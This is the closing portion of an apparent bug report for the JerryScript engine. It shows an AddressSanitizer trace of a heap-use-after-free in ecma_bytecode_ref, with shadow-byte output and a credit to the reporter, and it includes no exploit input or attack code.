    #14 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #15 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #16 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #17 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #18 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #19 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #20 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #21 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #22 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #23 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #24 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #25 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #26 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #27 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #28 0x80f9aff in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:339
    #29 0x804def4 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:579

SUMMARY: AddressSanitizer: heap-use-after-free /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1344 ecma_bytecode_ref
Shadow bytes around the buggy address:
  0x3eca03b0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x3eca03c0: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
  0x3eca03d0: fd fd fa fa fd fd fd fa fa fa fd fd fd fa fa fa
  0x3eca03e0: fd fd fd fa fa fa fd fd fd fd fa fa fd fd fd fa
  0x3eca03f0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa 00 00
=>0x3eca0400: 00 fa fa fa[fd]fd fd fa fa fa fd fd fd fa fa fa
  0x3eca0410: fd fd fd fa fa fa 00 00 00 fa fa fa 00 00 00 fa
  0x3eca0420: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd
  0x3eca0430: fd fd fa fa fd fd fd fd fa fa fd fd fd fa fa fa
  0x3eca0440: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fd
  0x3eca0450: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==80830==ABORTING

```

Credits: This vulnerability is detected by chong from OWL337.

--- end body ---

comments :
--- start comments ---

--- end comments ---